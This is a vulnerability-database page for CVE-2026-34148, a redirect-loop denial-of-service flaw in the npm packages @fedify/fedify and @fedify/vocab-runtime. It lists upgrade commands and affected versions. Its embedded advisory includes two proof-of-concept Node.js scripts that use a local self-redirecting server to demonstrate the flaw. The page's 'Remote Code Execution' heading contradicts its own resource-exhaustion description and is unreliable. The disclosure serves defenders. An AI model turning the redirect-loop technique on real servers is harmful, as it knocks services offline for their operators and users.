CVE-2026-34148: @fedify/fedify Remote Code Execution Vulnerability
HIGHCVE-2026-34148 is a HIGH (CVSS 7.5) remote code execution vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting @fedify/fedify libraries in the npm ecosystem. The issue involves fedify affected by resource exhaustion caused by unbounded redirect following during remote key/document resolution. Remediation is available by upgrading affected packages to version 1.9.6, 2.0.8, 2.1.1, 1.10.5.
CVE-2026-34148 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-34148
To remediate this vulnerability, upgrade all affected @fedify/fedify dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @fedify/fedify@1.9.6
npm install @fedify/vocab-runtime@2.0.8
npm install @fedify/vocab-runtime@2.1.1
npm install @fedify/fedify@1.10.5
npm install @fedify/fedify@2.0.8
npm install @fedify/fedify@2.1.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @fedify/fedify
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-34148, inspect your project dependencies using npm:
npm ls @fedify/fedify
Analyze the terminal output to locate any version of @fedify/fedify in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.9.6), your application is affected.
Note: The npm ls @fedify/fedify command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In @fedify/fedify, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-34148 Affected @fedify/fedify Versions
6 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@fedify/fedify
|
npm |
< 1.9.6
|
1.9.6
|
|
@fedify/vocab-runtime
|
npm |
< 2.0.8
|
2.0.8
|
|
@fedify/vocab-runtime
|
npm |
≥ 2.1.0
< 2.1.1
All 1 versions
2.1.0
|
2.1.1
|
|
@fedify/fedify
|
npm |
≥ 1.10.0
< 1.10.5
|
1.10.5
|
|
@fedify/fedify
|
npm |
≥ 2.0.0
< 2.0.8
|
2.0.8
|
|
@fedify/fedify
|
npm |
< 2.1.1
≥ 2.1.0
All 1 versions
2.1.0
|
2.1.1
|
References
Frequently Asked Questions
What is CVE-2026-34148?
Which @fedify/fedify versions are affected?
What version fixes CVE-2026-34148?
Is @fedify/fedify affected?
Is @fedify/vocab-runtime affected?
What is the CVSS score of CVE-2026-34148?
What CWE is associated with CVE-2026-34148?
How can I check npm dependencies for CVE-2026-34148?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-gm9m-gwc4-hwgp",
"modified" : "2026-06-09T11:00:52Z",
"published" : "2026-04-07T18:04:09Z",
"aliases" : [ "CVE-2026-34148" ],
"summary" : "Fedify affected by resource exhaustion caused by unbounded redirect following during remote key/document resolution",
"details" : "### Summary\n\n`@fedify/fedify` follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service.\n\n### Details\n\nFedify verifies ActivityPub HTTP signatures by fetching the remote `keyId` during request processing. The relevant flow is `handleInboxInternal()` -> `verifyRequest()` -> `fetchKeyInternal()` -> document loader.\n\nIn affected versions:\n- the generic document loader recursively follows `3xx` responses by calling `load()` again on the `Location` header\n- the authenticated redirect path (`doubleKnock()`) also recursively follows redirects\n- neither path enforces a redirect cap or tracks visited URLs to detect self-referential redirect loops\n\nAs a result, if an attacker-controlled `keyId` or actor URL responds with `302 Location: <same URL>`, a single ActivityPub request can trigger tens or hundreds of outbound requests before the fetch completes or the request times out.\n\nI confirmed the issue in `@fedify/fedify` 1.9.1 and 1.9.2. By contrast, Fedify's WebFinger lookup path already has a redirect cap, which suggests the missing bound in the document loader is unintended.\n\nFailed key fetches are not durably negatively cached. After a failed lookup, the null result is only remembered in a request-local cache, so later requests can trigger the same redirect loop again for the same `keyId`.\n\n### PoC\n\nMinimal direct reproduction with the package:\n\n1. Install `@fedify/fedify@1.9.2`.\n2. Save and run the following script:\n\n```js\nimport http from \"node:http\";\nimport { getDocumentLoader } from \"@fedify/fedify\";\n\nconst port = 45679;\nlet count = 0;\nconst redirectCount = 120;\n\nconst server = http.createServer((req, res) => {\n count += 1;\n\n if (count < redirectCount) {\n res.writeHead(302, {\n Location: `http://127.0.0.1:${port}/actor`,\n });\n res.end();\n return;\n }\n\n res.writeHead(200, { \"Content-Type\": \"application/activity+json\" });\n res.end(JSON.stringify({\n \"@context\": \"https://www.w3.org/ns/activitystreams\",\n \"id\": `http://127.0.0.1:${port}/actor`,\n \"type\": \"Person\"\n }));\n});\n\nawait new Promise((resolve) => server.listen(port, \"127.0.0.1\", resolve));\n\ntry {\n const loader = getDocumentLoader({ allowPrivateAddress: true });\n await loader(`http://127.0.0.1:${port}/actor`);\n console.log({ count });\n} finally {\n server.close();\n}\n```\n\n3. Observe output similar to:\n\n```\n{ count: 120 }\n```\n\nThis shows the loader followed 119 self-redirects before the first non-redirect response.\n\nThe authenticated loader used for signed requests shows the same behavior:\n\n```\nimport http from \"node:http\";\nimport {\n generateCryptoKeyPair,\n getAuthenticatedDocumentLoader,\n} from \"@fedify/fedify\";\n\nconst port = 45680;\nlet count = 0;\nconst redirectCount = 120;\n\nconst server = http.createServer((req, res) => {\n count += 1;\n\n if (count < redirectCount) {\n res.writeHead(302, {\n Location: `http://127.0.0.1:${port}/actor`,\n });\n res.end();\n return;\n }\n\n res.writeHead(200, { \"Content-Type\": \"application/activity+json\" });\n res.end(JSON.stringify({\n \"@context\": \"https://www.w3.org/ns/activitystreams\",\n \"id\": `http://127.0.0.1:${port}/actor`,\n \"type\": \"Person\"\n }));\n});\n\nawait new Promise((resolve) => server.listen(port, \"127.0.0.1\", resolve));\n\ntry {\n const { privateKey } = await generateCryptoKeyPair();\n const loader = getAuthenticatedDocumentLoader(\n {\n privateKey,\n keyId: new URL(\"https://example.com/users/index#main-key\"),\n },\n { allowPrivateAddress: true },\n );\n\n await loader(`http://127.0.0.1:${port}/actor`);\n console.log({ count });\n} finally {\n server.close();\n}\n```\n\n### Impact\n\nThis is an unauthenticated denial-of-service / request amplification issue. Any Fedify-based server that verifies remote keys or loads remote ActivityPub documents can be forced to spend CPU time, worker time, connection slots, and outbound bandwidth following attacker-controlled redirects. A single inbound request can trigger a large number of outbound requests, and the attack can be repeated across requests because failed lookups are not durably negatively cached.\n\n### Misc Notes\n\nThis issue was surfaced by a Ghost ActivityPub user reporting the issue directly to Ghost. The above report was generated upon further investigation into the issue by the Ghost team. We credit @wrathsec for the discovery.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@fedify/fedify"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.9.6"
} ]
} ]
}, {
"package" : {
"ecosystem" : "npm",
"name" : "@fedify/vocab-runtime"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.0.8"
} ]
} ]
}, {
"package" : {
"ecosystem" : "npm",
"name" : "@fedify/vocab-runtime"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.1.0"
}, {
"fixed" : "2.1.1"
} ]
} ],
"versions" : [ "2.1.0" ]
}, {
"package" : {
"ecosystem" : "npm",
"name" : "@fedify/fedify"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "1.10.0"
}, {
"fixed" : "1.10.5"
} ]
} ]
}, {
"package" : {
"ecosystem" : "npm",
"name" : "@fedify/fedify"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.0.0"
}, {
"fixed" : "2.0.8"
} ]
} ]
}, {
"package" : {
"ecosystem" : "npm",
"name" : "@fedify/fedify"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.1.0"
}, {
"fixed" : "2.1.1"
} ]
} ],
"versions" : [ "2.1.0" ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/fedify-dev/fedify/security/advisories/GHSA-gm9m-gwc4-hwgp"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34148"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/fedify-dev/fedify"
}, {
"type" : "WEB",
"url" : "https://github.com/fedify-dev/fedify/releases/tag/1.10.5"
}, {
"type" : "WEB",
"url" : "https://github.com/fedify-dev/fedify/releases/tag/1.9.6"
}, {
"type" : "WEB",
"url" : "https://github.com/fedify-dev/fedify/releases/tag/2.0.8"
}, {
"type" : "WEB",
"url" : "https://github.com/fedify-dev/fedify/releases/tag/2.1.1"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-400", "CWE-770" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-07T18:04:09Z",
"nvd_published_at" : "2026-04-06T16:16:34Z"
}
}